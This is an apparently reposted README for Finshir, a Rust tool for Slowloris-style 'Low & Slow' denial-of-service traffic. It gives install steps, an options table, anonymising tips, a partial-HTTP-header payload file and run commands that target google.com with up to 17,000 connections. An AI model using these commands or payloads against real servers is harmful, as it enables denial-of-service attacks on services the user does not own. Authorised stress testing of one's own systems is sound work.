Finshir : A Coroutines-Driven Low & Slow Traffic Sender

Finshir is a high-performant, coroutines-driven, and fully customisable implementation of Low & Slow load generator designed for real-world pentesting.

You can easily torify/proxify it using various platform-dependent utilities.

Advantages

  • Coroutines-driven. Finshir uses coroutines (also called lightweight threads) instead of ordinary threads, which lets you open many more connections with fewer system resources.
  • Generic. Unlike other Low & Slow utilities, Finshir lets you transmit arbitrary data sets over the TCP protocol. It may be partial HTTP headers, empty spaces, and so on.
  • Written in Rust. How you can see, all the logic is written completely in Rust, which means that it leverages bare-metal performance and high-level safety (no SIGSEGV, SIGILL, and other “funny” stuff).

Disadvantages

  • Platform-dependent. Like most of pentesting utilities, this project is developed for only UNIX-based systems. If you are a Windows user, you probably need a virtual machine or another computer with UNIX.

Also Read – HiddenWall : Linux Kernel Module Generator For Custom Rules With Netfilter

Installation

Building from crates.io

$ cargo install finshir

Building from sources

$ git clone https://github.com/Gymmasssorla/finshir.git
$ cd finshir
$ cargo build –release

Pre-Compiled Binaries

$ wget https://github.com/Gymmasssorla/finshir/releases/download/vX.X.X/finshir-x86_64-linux
$ chmod a+x finshir-x86_64-linux

Usage

Flags

NameExplanation
-h, --helpPrints help information
--use-tlsUse a TLS connection instead of the ordinary TCP protocol. It might be used to test HTTPS-based services.
-V, --versionPrints version information

Options

NameValueDefaultExplanation
--connect-periodicityTime span7secsThis option will be applied if a socket connection error occurs (the next connection will be performed after this periodicity)
--connect-timeoutTime span10secsTry connect a socket within a specified timeout. If a timeout is reached and a socket wasn’t connected, the program will retry the operation later
--connectionsPositive integer1000A number of connections the program will handle simultaneously. This option also equals to a number of coroutines
--date-time-formatString%XA format for displaying local date and time in log messages. Type man strftime to see the format specification
--failed-countPositive integer5A number of failed data transmissions used to reconnect a socket to a remote web server
--ip-ttlUnsigned integerNoneSpecifies the IP_TTL value for all future sockets. Usually this value equals a number of routers that a packet can go through
--json-reportFilenameNoneA file to which a JSON report (also called a “total summary”) will be generated before exiting
-f, --portions-fileFilenameNoneA file which consists of a custom JSON array of data portions, specified as strings.

When a coroutine finished sending all portions, it reconnects its socket and starts sending them again.
-r, --receiverSocket addressNoneA receiver of generator traffic, specified as an IP address (or a domain name) and a port number, separated by a colon
-d, --test-durationTime span64years 64hours 64secsA whole test duration, after which all spawned coroutines will stop their work
--text-reportFilenameNoneA file to which the program will generate a human-readable report (also called a “total summary”) before exiting
-v, --verbosityFrom 0 to 53Enable one of the possible verbosity levels. The zero level doesn’t print anything, and the last level prints everything.

Note that specifying the 4 and 5 verbosity levels might decrease performance, do it only for debugging.
-w, --waitTime span5secsA waiting time span before test execution used to prevent a launch of an erroneous (unwanted) test
--write-periodicityTime span30secsA time interval between writing data portions. This option can be used to modify test intensity
--write-timeoutTime span10secsIf a timeout is reached and a data portion wasn’t sent, the program will retry the operation later
--xml-reportFilenameNoneA file to which an XML report (also called a “total summary”) will be generated before exiting

Overview

Minimal command

The following command spawns 1000 coroutines, each trying to establish a new TCP connection. When connections are established, it sends empty spaces every 30 seconds, thereby order a server to wait as long as it can:

# Specify one of the Google’s IP addresses as a target web server
$ finshir –receiver=google.com:80

Test Intensity

Low & Slow techniques assume to be VERY SLOW, which means that you typically send a couple of bytes every N seconds. For instance, Finshir uses the 30 seconds interval by default, but it’s modifiable as well:

# Test the Google’s server sending data portions every one minute
$ finshir –receiver=google.com:80 –write-periodicity=1min

Connections Count

The default number of parallel connections is 1000. However, you can modify this limit using the --connections option, but be sure that you system is able to handle such amount of file descriptors:

# Modify the default limit of file descriptors to 17015
$ sudo ulimit -n 17015

# Test the target server using 17000 parallel TCP connections
$ finshir –receiver=google.com:80 –connections=17000

TLS Support

Most of web servers today use the HTTPS protocol instead of HTTP, which is based on TLS. Since v0.2.0, Finshir has functionality to connect through TLS using the --use-tls flag.

# Connect to the Google’s server through TLS on 443 port (HTTPS)
$ finshir –receiver=google.com:443 –use-tls

Logging Options

Consider specifying a custom verbosity level from 0 to 5 (inclusively), which is done by the --verbosity option. There is also the --date-time-format option which tells Finshir to use your custom date-time format.

# Use a custom date-time format and the last verbosity level
$ finshir –receiver=google.com:80 –date-time-format=”%F” –verbosity=5

Different verbosity levels print different logging types. As you can see in the table below, the zero verbosity level prints nothing, and the last one prints everything. The levels in the middle print logs selectively:

ErrorsWarningsNotificationsDebugsTraces
Zero (0)
First (1)
Second (2)
Third (3)
Fourth (4)
Fifth (5)

Custom Data Portions

By default, Finshir generates 100 empty spaces as data portions to send. You can override this behaviour by specifying your custom messages as a file, consisting of a single JSON array. This example is focused on Google:

# Send partial HTTP headers to Google using `–portions-file`
$ finshir –receiver=google.com:443 -f files/google.json –use-tls

The command above sends a partial HTTPS request (first introduced by Slowloris) through TLS (which is achieved by specifying the --use-tls flag). You can access this partial request inside files/google.json.

(files/google.json)

[
“GET https://www.google.com/ HTTP/1.1\r\n”,
“Host: www.google.com\r\n”,
“User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0\r\n”,
“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
/;q=0.8\r\n”,
“Accept-Language: en-US,en;q=0.5\r\n”,
“Accept-Encoding: gzip, deflate, br\r\n”,
“Connection: keep-alive\r\n”,
“Upgrade-Insecure-Requests: 1\r\n”,
“Cache-Control: max-age=0\r\n”,
“TE: Trailers\r\n”,
“\r\n”
]

Generate A Report

Report is a set of statistics variables like a total number of connections established, a total number of failed transmissions and so on. There is three options for this: --xml-report, --json-report, and --text-report:

# Test the Google’s server and generate a JSON report at the end
$ finshir –receiver=google.com:80 –json-report=report.json

What means “at the end”? Well, Finshir will generate a report for you either if allotted time expires or if you cancel the process by Ctrl-C. You can look at the report examples in the files/reports folder:

(files/reports/report.json)

{
“connections”: {
“failed”: “0”,
“successful”: “305”,
“total”: “305”
},
“receiver”: “google.com:80”,
“time”: {
“test-duration”: “4s 71ms 819us 653ns”,
“test-start”: “Wed, 29 May 2019 22:04:34 -0000”
},
“total-bytes-sent”: “305”,
“total-errors”: “0”,
“transmissions”: {
“failed”: “0”,
“successful”: “305”,
“total”: “305”
}
}

(files/reports/report.xml)

<?xml version="1.0" encoding="UTF-8"?>
<finshir-report>
  <receiver>google.com:80</receiver>
  <total-bytes-sent>159</total-bytes-sent>
  <total-errors>0</total-errors>
  <time>
    <test-start>Wed, 29 May 2019 22:04:16 -0000</test-start>
    <test-duration>2s 289ms 664us 988ns</test-duration>
  </time>
  <connections>
    <successful>159</successful>
    <failed>0</failed>
    <total>159</total>
  </connections>
  <transmissions>
    <successful>159</successful>
    <failed>0</failed>
    <total>159</total>
  </transmissions>
</finshir-report>

(files/reports/report.txt)

*********************** FINSHIR REPORT *********************** Receiver: google.com:80
Total bytes sent: 535
Total errors: 0

Test start: Wed, 29 May 2019 22:04:55 -0000
Test duration: 7s 385ms 765us 179ns

Successful connections: 535
Failed connections: 0
Total connections: 535

Successful transmissions: 535
Failed transmissions: 0
Total transmissions: 535 **************************************************************

If none of the options above has been specified, Finshir prints a report right to your terminal. That is, you can just run a test, cancel it later, and see the results which you can easily save. Perfect!

Disclaimer

Finshir was developed as a means of testing stress resistance of web servers, and not for hacking, that is, the author of the project IS NOT RESPONSIBLE for any damage caused by your use of his program.

Credit: Temirkhan Myrzamadi